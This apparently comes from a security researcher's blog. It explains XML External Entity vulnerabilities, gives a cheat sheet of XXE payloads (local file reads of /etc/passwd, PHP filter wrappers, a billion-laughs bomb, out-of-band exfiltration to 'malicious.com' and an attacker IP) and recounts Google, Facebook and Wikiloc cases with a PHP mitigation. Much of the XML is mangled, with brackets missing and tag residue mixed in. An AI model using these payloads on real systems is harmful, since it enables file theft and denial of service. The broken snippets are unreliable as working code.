Offensive Security Researcher & Quantum Cryptography Analyst

XML External Entity (XXE) Vulnerability: Detection, Exploitation, and Real-World Examples

Abdul Wahab Junaid
XML External Entity (XXE) Vulnerability: Detection, Exploitation, and Real-World Examples

The XML External Entity (XXE) vulnerability is a major security concern that stems from the processing of XML documents by weakly configured parsers. It is an injection attack that exploits the features of Document Type Definition (DTD) and external entities within XML, potentially leading to serious outcomes like data disclosure or Server-Side Request Forgery (SSRF).

The Foundations of XML and the XXE Threat

Extensible Markup Language (XML) is a language that allows users to create a set of rules to define documents in a human- and machine-readable format. Its most important feature is its simplicity and flexibility—you don’t need to follow predefined rules, you define the rules within the document.

How XML Works

While XML documents may look similar to HTML documents because both have tags, their function is fundamentally different. HTML follows a fixed set of rules defined by the language. In the case of XML, the tags, values, and structure are defined by the document itself, as shown in the provided example:

XML
xml version="1.0" encoding="UTF-8"?>
animals>
  fish>
    name>Discusname>
    location>Brasil/location>
    danger_extintion="1">Shot the webdanger_extintion>
  fish>
animals>

The application consuming this document immediately knows the meaning and structure of the , , and tags because the document dictates the structure. This is why applications such as MS Office use XML (specifically Office Open XML, or OOXML) to manage their documents in the background.

The other important feature of XML is its use for sending and receiving information in web services and APIs (Application Programming Interfaces). A client can send an HTTP request containing an XML document, which is then parsed (analyzed and interpreted) by a server.

The Role of Document Type Definition (DTD)

The rules for a valid XML request are defined in a Document Type Definition (DTD) document.

The danger lies in entities, which are variables used to represent data or references to resources. The SYSTEM keyword in an entity definition allows for references to external resources, creating an External Entity.

A DTD containing an external entity reference can be seen in this example:

XML
xml version="1.0" encoding="UTF-8"?>
strong>Animalstrong> [
  strong>Fishstrong> (strong>Namestrong>, strong>Speciesstrong>, strong>Originstrong>, strong>Datastrong>)>
  strong>Namestrong> (strong>#PCDATAstrong>)>
  strong>Speciesstrong> (strong>#PCDATAstrong>)>
  strong>Originstrong>(strong>#PCDATAstrong>)>
  strong>Danger_Extiintionstrong> strong>optionalstrong> strong>CDATAstrong> "0">
  strong>Datastrong> strong>ANYstrong>>
  strong>urlstrong> strong>SYSTEMstrong> "website.txt">  ]>
animal>
fish>
name>Discusname>

By changing this DTD, an attacker can force the application to understand the documents in a different, malicious way.

Detecting and Exploiting an XXE Vulnerability

An XXE attack occurs when an attacker manipulates the XML input to include a malicious external entity reference, and the weakly configured XML parser processes it.

Detection

The first step in detecting an XXE vulnerability is to identify endpoints that accept XML as input. This might be in the request body of a POST request with the Content-Type: text/xml header, or in less obvious places, such as file upload functionalities (e.g., DOCX, SVG files, which contain embedded XML).

Once a potential XML endpoint is found, a simple test is performed by injecting an external entity that references a known local file.

Exploitation

A successful XXE attack can retrieve an arbitrary file from the server’s filesystem by modifying the submitted XML in two key ways:

  1. Introduce a DTD element that defines an external entity pointing to a sensitive file path (e.g., /etc/passwd).
  2. Edit an XML data value in the document to make use of the defined external entity, ensuring the application’s response will contain the file’s contents.

Example of File Disclosure Payload:

XML
xml version="1.0" encoding="UTF-8"?>
strong>foostrong> [ 
  strong>xxestrong> strong>SYSTEMstrong> "file:///etc/passwd">
]>
foo>
  name>&xxe;name>
foo>

When a vulnerable parser processes this, the &xxe; reference is replaced by the contents of the /etc/passwd file, which is then included in the response sent back to the attacker.

Exploitation is not limited to file disclosure; it also includes:

Basic XXE Templates

1. Simple Entity Replacement

XML
xml version="1.0" ?>
DOCTYPE replace [ENTITY example "Doe"> ]>
userInfo>
  firstName>JuanfirstName>
  lastName>&example;lastName>
userInfo>

2. Classic File Reading (Linux/Unix)

XML
xml version="1.0"?>
DOCTYPE data [

ENTITY file SYSTEM "file:///etc/passwd">
]>
data>&file;data>

3. Classic File Reading (Windows)

XML
xml version="1.0" encoding="ISO-8859-1"?>
DOCTYPE foo [

ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
foo>&xxe;foo>

Advanced XXE Techniques

4. Base64 Encoded XXE

XML
DOCTYPE test [ ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
foo/>

5. PHP Filter Wrapper

XML
DOCTYPE replace [ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
contacts>
  contact>
    name>Jean &xxe; Dupontname>
    phone>00 11 22 33 44phone>
  contact>
contacts>

Denial of Service (DoS) Attacks

6. Billion Laughs Attack

XML
DOCTYPE data [
ENTITY a0 "dos">
ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
data>&a4;data>

Out-of-Band (OOB) XXE Attacks

7. Basic Blind XXE

XML
xml version="1.0" encoding="ISO-8859-1"?>
DOCTYPE foo [

ENTITY % xxe SYSTEM "file:///etc/passwd">
ENTITY callhome SYSTEM "http://www.malicious.com/?%xxe;">
]>
foo>&callhome;foo>

8. OOB with External DTD

Main XML:

XML
xml version="1.0" encoding="utf-8"?>
DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
data>&send;data>

External DTD (parameterEntity_oob.dtd):

XML

">
%all;

9. OOB with PHP Filter

Main XML:

XML
xml version="1.0" ?>
DOCTYPE r [

ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
r>&exfil;r>

External DTD (dtd.xml):

XML

">

Special Cases

10. XXE in SOAP

XML
soap:Body>
  foo>
     %dtd;]>]]>
  foo>
soap:Body>

Key Points for Testing:

  1. File Paths: Adjust file paths based on target OS
  2. Protocol Handlers: Use appropriate handlers (file://, http://, php://, etc.)
  3. Encoding: Use Base64 when special characters might cause issues
  4. OOB Attacks: Essential for blind XXE scenarios
  5. Error Handling: Monitor server responses and error messages

Security Implications:

Important: Only use these templates in authorized penetration testing environments with proper permission.

How the XXE Vulnerability is Produced

The XML External Entity (XXE) vulnerability is a security flaw that results from a configuration error in how a server-side application processes user-supplied XML data. It occurs when an application parses a document and follows instructions contained within it, even if those instructions are malicious.

The Mechanism of XXE Production

The vulnerability is produced in a chain of events relying on XML’s standard features, which are often left enabled by default in XML parsers:

1. User-Supplied XML Input

The core requirement is an application that allows users to upload or submit XML data to the server. This input is sent by the client to the server using a normal request to be processed.

In a standard XML transaction, the request and subsequent response use personalized, self-defined tags (unlike HTML, which uses a fixed set of predefined tags). The structure these personalized tags follow is defined by a Document Type Definition (DTD), which helps determine if the document is valid for the specific application.

2. Entity Definition and Replacement

XML uses entities to define variables or placeholders. These are defined within the DTD using the following structure:

XML

XML

  strong>entity_namestrong> "definition_value">
]>

When the XML parser reads the document, it replaces the entity reference (e.g., &entity_name;) with the value defined in the entity.

3. The Injection of an External Entity

The “interesting thing” and the source of the vulnerability is that XML allows for the definition of external entities. To add these external references, an attacker uses a URL format with the SYSTEM keyword to instruct the XML parser to fetch content from an outside source.

An example of a malicious external entity injection is:

XML
strong>cosastrong> [
  strong>xxestrong> strong>SYSTEMstrong> "file:///etc/passwd">
]>cosa

Just by reading this reference to /etc/passwd, one can infer the danger: the parser may process this reference without validation. Since the URL format can use protocols like file://, http://, or ftp://, the parser attempts to retrieve the contents of the specified resource. Any kind of file (like configuration files or credentials) could be exposed, and sensitive information could be leaked to the attacker who receives the server’s response.

The XXE vulnerability is produced when the application’s XML parser is configured to:

  1. Validate and process the DTD.
  2. Resolve (dereference) external entities without restriction.

Potential Attacks Using XXE

Once an XXE vulnerability is established, a malicious user can perform several high-impact attacks:

An example of an XML bomb payload looks like this:

XML
strong>lolzstrong> [
  strong>lolstrong> "lol">
  strong>lol2strong> "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  strong>lol3strong> "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  strong>lol4strong> "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  strong>lol5strong> "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  strong>lol6strong> "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  strong>lol7strong> "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  strong>lol8strong> "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  strong>lol9strong> "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
lolz>&lol9;lolz>

When processed, this simple definition expands into billions of “lol” strings, leading to resource exhaustion.

XXE vulnerabilities have been found in major platforms like Google and Facebook, demonstrating that even large organizations can have misconfigured XML parsers. These real-world examples illustrate the critical impact of XXE, which often leads to Local File Inclusion (LFI) and data exfiltration.

Real-World XXE Exploitation Examples

1. Read Access to Google

On April 11, 2014, researchers from the Detectify security team reported a critical XXE vulnerability in a Google application, ultimately granting them read access to production server files.

The Vulnerability Vector

The researchers focused on finding vulnerabilities in old, proprietary, or alpha-stage Google software, eventually putting their attention on the Google Toolbar button gallery. This platform allowed users to personalize their search toolbar with custom buttons.

  1. Reconnaissance: By reading the Google Toolbar API documentation, the team learned that the tool processed XML entities.
  2. Detection: They observed that when a user performed a search within the toolbar, the title and description fields of the buttons were printed out in the response. This “echoing” of user-controlled input was identified as a potential vector for an XXE vulnerability.
  3. Exploitation: The team uploaded a specially crafted XML file designed to extract the contents of the /etc/passwd file from the Google server.

The Impact

A successful XXE attack allowed the researchers to retrieve the content of the /etc/passwd file, which typically contains user account information, including password hashes. If these hashes were successfully cracked (via brute force or rainbow table attacks), an attacker could gain unauthorized access to the server. The key lesson learned was that applications that change their response based on XML input are prime candidates for XXE exploitation.

2. A Facebook XXE with a Word Document

On December 29, 2014, security researcher Mohamed Ramadan discovered an XXE vulnerability on the Facebook Careers page, specifically in the functionality that processed document uploads.

The Vulnerability Vector

The attack exploited the fact that Office documents, like those with the .docx extension, are fundamentally ZIP archives containing XML documents with a specific structure (Office Open XML).

  1. Attack Method: Mohamed Ramadan created a malicious Word document and inserted a custom Document Type Definition (DTD) into one of the embedded XML files. The DTD is used by the XML parser to validate the document’s structure.
  2. The Payload: The custom DTD was designed to perform an Out-of-Band (OOB) attack, forcing the Facebook server to read a local file and exfiltrate its content. The core part of the payload was:
    • A reference to extract the content of the /etc/passwd file.
    • An IP address pointing to an attacker-controlled server where the malicious DTD file was located.

The DTD Logic

The malicious DTD file, hosted on the attacker’s server, used parameter entities to read the sensitive file and then include its content within a new HTTP request sent back to the attacker’s server:

XML
strong>filestrong> strong>SYSTEMstrong> "file:///etc/passwd">
strong>allstrong> "">
%all;

The Mitigation

Facebook resolved the issue by modifying the way it called the XML parsing function, specifically by securely configuring the libxml_disable_entity_loader() method in the underlying PHP library to prevent the processing of external entities. The fix essentially removed the attacker’s ability to define and resolve external entities:

Vulnerable Code Snippet Example:

PHP
libxml_disable_entity_loader(false); // Allows external entities
// ... code that processes XML ...

Secure Code Snippet Example (Conceptually):

PHP
libxml_disable_entity_loader(true); // Disables external entity loading
// ... code that processes XML ...

By disabling the entity loader, the application ensures that references like &send; or &xxe; are not resolved from external resources, thus neutralizing the XXE vulnerability.

Wikiloc XXE Vulnerability

The Wikiloc XXE vulnerability, reported by David Sopas on January 11, 2016, provides an excellent example of how to detect and exploit an XXE flaw using Out-of-Band (OOB) techniques, particularly when dealing with file upload functionality.

The Vulnerability and Detection Method

Wikiloc is an application for sharing outdoor trails, which involves processing geographic data files, most commonly in the GPX (GPS Exchange Format), a standard based on XML. The vulnerability was discovered in the file upload feature.

1. Analyze the Target Structure

The researcher’s first step was reconnaissance to understand the expected XML format:

2. Initial Out-of-Band (OOB) Test

To confirm that the server’s XML parser was resolving external entities, David Sopas modified the downloaded GPX file with a small, non-harmful payload designed to trigger a network request to a server he controlled.

Key Difference from Facebook XXE:

The difference is that for this initial test, David Sopas did not need an external DTD file on his server. He defined the simple external entity (&xxe;) directly within the modified GPX file (the in-band DTD), which was enough to trigger the network request.

The Exploitation (Data Exfiltration)

Once the vulnerability was confirmed, the goal shifted from detection to exploitation—specifically, Out-of-Band (OOB) data exfiltration of a sensitive file like /etc/passwd.

1. Modifying the XML and Introducing an External DTD

Since a simple local file read (e.g., ) might not display the file content directly in the application’s response (a Blind XXE scenario), the OOB technique is required.

The uploaded XML file was modified to reference a malicious DTD file hosted on the attacker’s server:

XML
strong>gpxstrong> strong>SYSTEMstrong> "http://[Attacker_IP]/xxe_payload.dtd">
gpx ...>2015-10-29T12:53:09Z
  &send; (...)

2. The Malicious DTD File

The file stored on the attacker’s server (xxe_payload.dtd) was designed to recursively read the local file and include its content in a final HTTP request.

XML
strong>filestrong> strong>SYSTEMstrong> "file:///etc/passwd">
strong>allstrong> "">
%all;

This case study is a valuable reminder that downloading a valid XML template and minimally modifying it for an OOB check is often the easiest and fastest way to confirm an XXE vulnerability.

Exit mobile version